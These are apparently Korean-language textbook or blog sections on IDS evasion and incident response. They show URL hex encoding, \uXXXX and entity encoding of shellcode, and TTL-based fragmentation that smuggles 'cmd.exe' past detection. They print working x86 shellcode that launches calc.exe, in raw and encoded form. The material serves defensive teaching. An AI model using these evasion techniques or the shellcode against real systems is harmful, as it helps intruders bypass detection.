ASCII 문자표현 > www.test.com/test.asp HEX 코드변환 > %77%77%77%2E%74%65%73%74%2E%63%6F%6D%2F%74%65%73%74%2E%61%73%70

인코딩된 문자열은 인터넷의 인코딩 코드 변환 사이트를 통해서 손쉽게 확인할 수 있다.

16 비트(“\uXXXX”) 인코딩

“\u9090”; 16진수 hex값으로 문자값을 인코딩 한다. 다음은 calc.exe 프로그램 실행 시키는 쉘코드다.

31 F6 56 64 8B 76 30 8B 76 0C 8B 76 1C 8B 6E 08 8B 36 8B 5D 3C 8B 5C 1D 78 01 EB 8B 4B 18 8B 7B 20 01 EF 8B 7C 8F FC 01 EF 31 C0 99 32 17 66 C1 CA 01 AE 75 F7 66 81 FA 10 F5 E0 E2 75 CF 8B 53 24 01 EA 0F B7 14 4A 8B 7B 1C 01 EF 03 2C 97 68 2E 65 78 65 68 63 61 6C 63 54 87 04 24 50 FF D5 CC땦땙??<?x?Kg腎? ?|륕?핚2f좽췼?괋鎚??S$??J??,.exehcalcT?$P螂

위 코드의 HEX값을 “\uXXXX” 형태로 encoding하면 아래와 같은 형태로 변형된다. 보여지는것만 틀린뿐 실제 수행되는 내용은 동일하다.

\uf631\u6456\u768b\u8b30\u0c76\u768b\u8b1c\u086e \u368b\u5d8b\u8b3c\u1d5c\u0178\u8beb\u184b\u7b8b \u0120\u8bef\u8f7c\u01fc\u31ef\u99c0\u1732\uc166 \u01ca\u75ae\u66f7\ufa81\uf510\ue2e0\ucf75\u538b \u0124\u0fea\u14b7\u8b4a\u1c7b\uef01\u2c03\u6897 \u652e\u6578\u6368\u6c61\u5463\u0487\u5024\ud5ff

엔티티 인코딩

엔티티 인코딩 방식 예제를 보자. 앞서 NOP코드는 16진수 값으로 0x9090, 10진수 37008 이다. 해당 값을 엔티티 인코딩 방식으로 다음과 같이 인코딩 할 수 있다.

“&#x9090;” or “&#37008;”

프레그먼트(Fragment)

스노트 기반의 침입탐지 시스템의 특징이 패킷을 기반으로 특정 문자열이나 헤더값을 검사 하기 때문에 조각난 패킷(fragmented)의 경우 데이터에 포함된 공격 구문을 바로 찾기 어려울 수 있다. 이러한 이유로 스노트 엔진에서는 전처리기라는(preprocessor) 모듈을 통해 조각난 패킷을 재조합 하는 과정을 거치게 된다. 물론 성능의 한계로 무한 재조합은 현실적으로 불가능하다.

이러한 조각난 패킷은 탐지 시스템의 서비스 거부 공격에도 사용되기도 한다. 아주 작게 패킷을 조각내 공격 대상 시스템에 전송하여 패킷을 수신한 시스템에서 재조합에 많은 리소스가 사용되게 만들어 리소스를 고갈 시키는 방식이다. 그러면 대상 시스템은 패킷 조합에 리소스를 과도하게 사용하여 서비스 제공이 불가능한 상태가 된다.

서비스 거부 공격 외에 탐지 우회하기 위한 방법으로도 사용된다.

대부분 네트워크 기반 침입탐지 장비가 병목에 설치된다. 침입탐지시스템 엔진은 네트워크에서 캡쳐한 패킷의 공격성 여부를 판단하고 액션을 취한다. 하지만 침입탐지시스템이 탐지한 모든 패킷이 대상 호스트로 도달하지 않을 수도 있다. 각각의 단편화된 패킷은 각각 TTL설정에 의해서 도착지 IP까지 도착하지 못하고 네트워크에서 유실 될 수도 있다. 침입탐지 시스템을 우회하기 위해 공격 패킷을 조각 내고, 각각의 패킷의 TTL을 다르게 설정해 호스트까지 도착하는 패킷을 선택할 수 있다.

9개의 조각난 패킷을 침입탐지 시스템에서 재조합해 “cmdo.bexe”라는 구문을 탐지 했다고 가정 하자. 탐지한 “cmdo.bexe” 구문이 공격성이 없는 것으로 판단하고 패킷을 처리했으나, 호스트에서는 9개 중 2개를 뺀 7개의 패킷을 수신하였다. 수신된 패킷은 조합 결과 “cmd.exe” 구문이 포함되어 시스템 명령이 실행 되었다.

프레그먼트 패킷번호공격구문목적시스템 도달여부
1C수신
2M수신
3D수신
4O미수신
5.수신
6B미수신
7E수신
8X수신
9E수신

표 패킷 수신/미수신

공격자는 “cmd.exe”를 실행하기 위해 중간에 눈가림으로 사용할 ‘o’와 ‘b’가 포함된 패킷을 보내야 했다. 하지만 목적지 호스트에 모든 패킷이 도착했을 때는 ‘o’와 ‘b’가 포함되면 안됐다. 그래서 공격자는 TTL값을 다르게 설정해 필요 없는 패킷을 서버에 도착하기 전에 없앴다. 목적지 호스트에 도착하는 패킷의 TTL값보다 작은 값을 설정해 패킷을 중간에 사라지게 한것이다.

이를 타켓 베이스(Target-based) 공격 방식이라 얘기 한다.

시스템 전체 전송 단위(Maximum Transmission Unit)

통신 과정에 프레그먼트되지 않고 전송되는 패킷의 사이즈는 제한이 있다. 이는 패킷을 제각각 사이즈로 생성하여 생기는 통신 장애를 방지하기 위해 사전에 프레그먼트되지 않고 전송되는 퍄킷 사이즈를 정한 것이다.

물론 일부 개발과정에서 사이즈를 넘는 패킷을 만들어 사용하기도 한다. 동영상 데이터의 경우 패킷 사이즈를 초과하는 경우가 자주 발생하는데 이로 인해 일부 네트워크 장비나 통신 장비에서는 비정상 패킷으로 처리하여 통신이 끊기거나 지연되는 경우가 종종 발생 하곤 한다.

다음은 프로토콜 별 MTU 설정에 대한 자료다.

형식시스템 전체 전송 단위 (바이트)
Internet IPv4 Path MTUAt least 576[1]
Internet IPv6 Path MTUAt least 1280[2]
Ethernet v21500[3]
Ethernet (802.3)1492[3]
Ethernet Jumbo Frames1500-9000
802.112272[4]
802.54464
FDDI4500[3]

표 프로토콜 별 시스템 전체 전송 단위

코드를 인코딩하거나, 조각 내어 침입탐지시스템이나 기타 탐지에 대해 우회하는 시도에 대해 살펴 보았다. 물론 탐지를 우회하는 기법은 매우 다양하다. 언급한 2가지 방식은 이 중 일부이다. 침입탐지 시스템에서는 혹은 여러분은 공격자에 의한 공격이 정상 또는 어렵게 보이는 데이터로 가장하고 들어 올 수 있다는 것을 침입시도를 확인할 때 항상 유념해야 한다. 자, 이제 네트워크에서 이뤄지는 해킹 시도를 탐지하기 위해 네트워크 상의 어떤 위치에서 침입탐지 시스템이 운영되고 어떤 트래픽을 감시 하는지 살펴보자.

침해사고대응 프로세스 단계별 설명

기업이나 정부 기관에서는 침해사고가 발생하면 사전에 정의된 업무 절차에 따라 사고대응 활동을 수행한다. 금융권 혹은 개인정보 유출과 연관된 사고의 경우에는 기업 내부뿐만 아니라 관리 기관과 함께 사고 조사를 수행하기도 한다.
침해사고 대응 활동을 통해 사고 원인을 파악하고 피해가 재발하지 않도록 재발방지 방안을 수립하는 것이 침해사고대응 활동의 목적인다. 침해사고 대응 하는 과정을 요약 하면 다음과 같다.

표 침해사고분석 과정 요약

표 침해사고분석 과정 요약

사고의 유형은 다양하다. 랜섬웨어에 의해 시스템의 중요한 데이터가 암호화되는 피해를 입거나, 사전식 대입 공격을 통해서 시스템에 공격자가 침입할 수 있다. 사고 유형에 따라 침해사고를 어떻게 분석할지 분석가는 조사 방법을 정의 한다.
증거 수집 과정은 침해사고원인을 파악하기 위해 필요한 정보를 모으는 과정이다. 사전식 대입 공격에 의해서 사고가 의심되는 경우에는 침해사고원인 분석을 위해서 시스템의 로그인 로그가 필요하다. 만약 랜섬웨어에 의해 파일이 암호화 되었다면 시스템 명령 실행내역과 프로그램 설치 내역이 사고원인 분석을 위해 필요하다. 사고 원인을 정확히 파악하기 위해서는 공격자의 흔적이 기록된 정보를 활용한다.
증거 수집 과정에서는 다양한 보안 솔루션이 활용된다. 엔드포인트에서 수집된 로그에서 부터 클라우드 기반의 로그까지 다양한 로그를 활용한다. SOC팀에서 운영하는 보안 솔루션 장비가 분석가가 사고 조사 시 수집 대상으로 고려가 필요한 로그 정보다.
다음 그림은 SOC 보안 모니터링을 위한 솔루션 아키텍처 그림이다.

그림 – SOC 솔루션 아키텍처

수집된 로그를 가공하고 분석에 필요한 정보만 추출하는 과정을 거쳐 침해사고와 핵심이 되는 정보를 분석하게 된다. 최근에는 다양한 보안 솔루션을 이용해서 상관분석을 수행한다. 서로 다른 보안 장비간에 연관된 사고 관련 이벤트를 그래프나 히트맵으로 시각화해 분석 시간을 효율적으로 활용할 수 있게 도와 준다.
머신러닝(Machine Learning)을 활용해 방대한 로그를 분석해 사고와 관련된 이벤트를 사전에 탐지 할 수 있는 방법도 다양하게 시도된다. 보안 위협 탐지와 분석 과정에 인공지능 기술이 활용되면 업무 효율성을 높일 수 있을 것으로 기대 된다.
침해사고 원인이 확인되면 재발방지를 위해 필요한 조치를 정의 하고, 개인정보가 유출되거나 기업 고객 정보와 관련된 피해가 발생했다면 관련 규정에 따라 필요한 조치가 포함된 의사 결정이 이뤄진다. 일련의 침해사고분석 과정이 정상적으로 완료되면 침해사고 케이스를 종료한다.